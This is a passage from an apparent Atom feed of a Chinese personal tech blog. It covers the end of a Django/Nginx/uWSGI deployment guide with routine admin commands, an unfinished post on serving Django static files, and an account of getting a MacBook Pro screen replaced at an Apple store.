&lt;p&gt;这样就启动起来了。如果无意外的话，就能在网上访问你的 Python 项目了。&lt;/p&gt;

&lt;h2 id=&quot;附&quot;&gt;&lt;a href=&quot;#附&quot; class=&quot;headerlink&quot; title=&quot;附&quot;&gt;&lt;/a&gt;附&lt;/h2&gt;&lt;p&gt;一些我在配置时用到的命令，省得你去搜索：&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;&lt;p&gt;关闭 uWSGI：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;killall -9 uwsgi&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;killall -s HUP /var/www/uwsgi&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;killall -s HUP /usr/local/bin/uwsgi&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;列出端口占用情况：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;netstat -lpnt&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;/li&gt;

&lt;/ol&gt;

</content>

<summary type="html">

&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;我们在使用 Django 开发的时，测试过程中通常使用 Django 自带的 web 服务器，并设置 Debug=False，这样可以实时修改代码并更新程序。但是在生产环境中通常使用 Nginx+uWSGI+Django 这样的模式。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;在这种模式中，使用 Nginx 作为最前端 web 服务器，它接收所有请求并统一管理所有请求。然后 Nginx 将所有的非静态请求通过 uWSGI发送给 Django 处理，Django 处理返回结果由 uWSGI 发给 Nginx，并返回给用户。可见，uWSGI的作用就类似一个桥接器。起到桥梁的作用。&lt;/p&gt;

&lt;blockquote&gt;

&lt;p&gt;不使用Nginx，只使用uWSGI+Django也是可以实现WEB服务的。uWSGI也可以直接处理WEB请求&lt;/p&gt;

&lt;/blockquote&gt;

</summary>

<category term="Django" scheme="http://32t.github.io/tags/Django/"/>

<category term="Nginx" scheme="http://32t.github.io/tags/Nginx/"/>

<category term="uWSGI" scheme="http://32t.github.io/tags/uWSGI/"/>

</entry>

<entry>

<title>如何在 Django 中设置静态文件</title>

<link href="http://32t.github.io/2016/03/29/how-to-server-django-static-file/"/>

<id>http://32t.github.io/2016/03/29/how-to-server-django-static-file/</id>

<published>2016-03-29T04:32:36.000Z</published>

<updated>2016-04-09T08:57:50.000Z</updated>

<content type="html">&lt;h2 id=&quot;背景&quot;&gt;&lt;a href=&quot;#背景&quot; class=&quot;headerlink&quot; title=&quot;背景&quot;&gt;&lt;/a&gt;背景&lt;/h2&gt;&lt;p&gt;在使用 Django 建设网站的过程中通常需要提供其他一些静态文件，例如 css,js,img 等，然而众所周知，django 无法像 apache 或者 iis 一样直接放上去就可以用，成为了众多新手的一大门槛，笔者也是被折磨了多次。花了一上午时间深入研究了 Django 相关官方文档，记录下来顺便整理一下。&lt;/p&gt;

&lt;h2 id=&quot;静态文件提供的两种方式&quot;&gt;&lt;a href=&quot;#静态文件提供的两种方式&quot; class=&quot;headerlink&quot; title=&quot;静态文件提供的两种方式&quot;&gt;&lt;/a&gt;静态文件提供的两种方式&lt;/h2&gt;&lt;p&gt;Django 提供了 django.contrib.staticfiles 来帮助用户管理静态文件。&lt;/p&gt;

&lt;h3 id=&quot;APP-内部文件&quot;&gt;&lt;a href=&quot;#APP-内部文件&quot; class=&quot;headerlink&quot; title=&quot;APP 内部文件&quot;&gt;&lt;/a&gt;APP 内部文件&lt;/h3&gt;&lt;ol&gt;

&lt;li&gt;确保django.contrib.staticfiles 在 settting 文件的 INSTALLED_APPS中&lt;/li&gt;

&lt;li&gt;在 setting 文件中，定义变量 STATIC_URL&lt;br&gt; STATIC_URL = ‘/static/‘&lt;/li&gt;

&lt;li&gt;在 my_site/my_app/目录下新建文件夹static/my_app/ 然后在其下面存放文件 myexample.jpg文件&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在模板中使用的时候，可以有两种使用方式&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;硬编码&lt;br&gt;直接硬编码为/static/my_app/myexample.jpg 这样。注意，Django 会查找所有 app 目录下的static/my_app 文件夹，例如你有两个 app，my_app1,my_app2&lt;br&gt;目录结构如下：&lt;br&gt;my_app1&lt;br&gt;-static&lt;br&gt;—my_app&lt;br&gt;—–myexample.jpg&lt;br&gt;my_app2&lt;br&gt;-static&lt;br&gt;—my_app&lt;br&gt;—–myexample.jpg&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;那么这样使用的时候，会直接使用第一个目录下的文件&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;软编码&lt;br&gt;也可以使用 static 模板标签来根据相对路径生成 url.&lt;/li&gt;

&lt;/ol&gt;

&lt;/li&gt;

&lt;/ol&gt;

&lt;h3 id=&quot;全局文件&quot;&gt;&lt;a href=&quot;#全局文件&quot; class=&quot;headerlink&quot; title=&quot;全局文件&quot;&gt;&lt;/a&gt;全局文件&lt;/h3&gt;&lt;h3 id=&quot;Django查找静态文件的顺序问题&quot;&gt;&lt;a href=&quot;#Django查找静态文件的顺序问题&quot; class=&quot;headerlink&quot; title=&quot;Django查找静态文件的顺序问题&quot;&gt;&lt;/a&gt;Django查找静态文件的顺序问题&lt;/h3&gt;&lt;p&gt;首先会查找各个 app 下面的 STATIC_URL 文件所指定的目录&lt;/p&gt;

&lt;h3 id=&quot;命名空间-namespace-的问题&quot;&gt;&lt;a href=&quot;#命名空间-namespace-的问题&quot; class=&quot;headerlink&quot; title=&quot;命名空间 namespace 的问题&quot;&gt;&lt;/a&gt;命名空间 namespace 的问题&lt;/h3&gt;&lt;h2 id=&quot;测试环境中使用&quot;&gt;&lt;a href=&quot;#测试环境中使用&quot; class=&quot;headerlink&quot; title=&quot;测试环境中使用&quot;&gt;&lt;/a&gt;测试环境中使用&lt;/h2&gt;&lt;h2 id=&quot;生产环境中使用&quot;&gt;&lt;a href=&quot;#生产环境中使用&quot; class=&quot;headerlink&quot; title=&quot;生产环境中使用&quot;&gt;&lt;/a&gt;生产环境中使用&lt;/h2&gt;</content>

<summary type="html">

&lt;h2 id=&quot;背景&quot;&gt;&lt;a href=&quot;#背景&quot; class=&quot;headerlink&quot; title=&quot;背景&quot;&gt;&lt;/a&gt;背景&lt;/h2&gt;&lt;p&gt;在使用 Django 建设网站的过程中通常需要提供其他一些静态文件，例如 css,js,img 等，然而众所周知，django 无法像 ap

</summary>

</entry>

<entry>

<title>RMBP13涂层脱落换屏记</title>

<link href="http://32t.github.io/2016/03/17/rmbp13-screen-fix/"/>

<id>http://32t.github.io/2016/03/17/rmbp13-screen-fix/</id>

<published>2016-03-17T08:11:21.000Z</published>

<updated>2016-03-19T16:08:44.000Z</updated>

<content type="html">&lt;p&gt;之前就听说13款的RMBP反光涂层掉落的问题，当时也没太注意，擦屏幕的方法也比较暴力，直到前两天自己也中了招，一擦之下涂层尽落，再擦一下，落得更多，于是开始了漫漫换屏路。在此记录一下，给同样问题的小伙伴参考。&lt;/p&gt;

&lt;h2 id=&quot;预约Genius-Bar&quot;&gt;&lt;a href=&quot;#预约Genius-Bar&quot; class=&quot;headerlink&quot; title=&quot;预约Genius Bar&quot;&gt;&lt;/a&gt;预约Genius Bar&lt;/h2&gt;&lt;p&gt;首先给400-666-8800打了电话，在说明了问题后，对方会询问序列号和购买时间，同时也会问购买凭证是否还在（实际上用不到），由于涂层脱落问题苹果官方是可以免费换屏的，于是让客服帮忙预约了西单大悦城的genius bar，并记录了邮箱、姓名和电话。&lt;/p&gt;

&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;

&lt;h2 id=&quot;去Genius-Bar维修&quot;&gt;&lt;a href=&quot;#去Genius-Bar维修&quot; class=&quot;headerlink&quot; title=&quot;去Genius Bar维修&quot;&gt;&lt;/a&gt;去Genius Bar维修&lt;/h2&gt;&lt;p&gt;提前签到后就是等待了，维修的MM看了屏幕，然后问有没有备份数据（建议大家最好备份一下），开具了维修单并表示两个小时后可以来取。&lt;/p&gt;

&lt;p&gt;然后意外发生了，闲逛磨蹭期间接到维修部门的电话，工程师表示“我们拆机后发现您的主板没有序列号，我们拒绝维修”，我询问了为什么没有序列号以及应该找谁处理问题的时候，该工程师态度很差的说“根据规定，我们拒绝维修”，于是懵比的回来取机器。&lt;/p&gt;

&lt;p&gt;排队了半天，终于有个小蓝人出来给我解释了一下，表示他们也没有遇到过相关情况，因为机器也没有之前的购买记录，激活也是我第一次激活，他们需要向上级部门请示看能否维修，只能第二天上午看上级回复后解决，不过可能需要提供购买凭证，如果需要的话可以以拍照的形式传给他们。给出了我两个选择，要么拿回机器不维修，要么等第二天，作为一个码农只能舍弃半天的敲代码时间，留下了机器。&lt;/p&gt;

&lt;h2 id=&quot;客服答复&quot;&gt;&lt;a href=&quot;#客服答复&quot; class=&quot;headerlink&quot; title=&quot;客服答复&quot;&gt;&lt;/a&gt;客服答复&lt;/h2&gt;&lt;p&gt;第二天上午十点多先给400官方客服打电话咨询情况，询问一下如果主板序列号不存在应该怎么处理，能否让400协商，400表示硬件问题国内最高的权限就是直营店，如果直营店维修人员处理不了，可以咨询店长。于是转而给大悦城的客服打电话咨询维修进度，相关客服表示正在上报，只能根据上级反馈来决定，不过该客服同时表示这种情况一般没问题，最多需要提供购买凭证也可以解决（同时也吐槽了一把序列号写入程序，说可能相关程序bug了）。挂掉电话后就接到了维修部门的电话表示经过他们检测序列号一致，可以维修（WTF？），下午三点前去取即可。&lt;/p&gt;

&lt;p&gt;##取回机器&lt;br&gt;带上身份证和维修单即可取回。&lt;/p&gt;

&lt;p&gt;第一次写这种类型的文章，有点流水账了，总结一下，&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;预约天才吧&lt;/li&gt;

&lt;li&gt;带上机器和身份证去维修（一般两个小时内就可以取，所以直接带上身份证就行了）&lt;/li&gt;

&lt;li&gt;带上身份证和维修单去取机器&lt;/li&gt;

&lt;li&gt;如果有购买凭证的最好带上，以防出现其他问题来回折腾。&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;http://ww1.sinaimg.cn/large/63e8a615jw1f22ls3adpzj20go0m80tq.jpg&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://ww1.sinaimg.cn/large/63e8a615jw1f22lsif7tbj20m70m8dhl.jpg&quot; alt=&quot;image&quot;&gt;&lt;br&gt;&lt;img src=&quot;http://ww3.sinaimg.cn/large/63e8a615jw1f22lsy3t61j20go0m83z8.jpg&quot; alt=&quot;iamge&quot;&gt;&lt;/p&gt;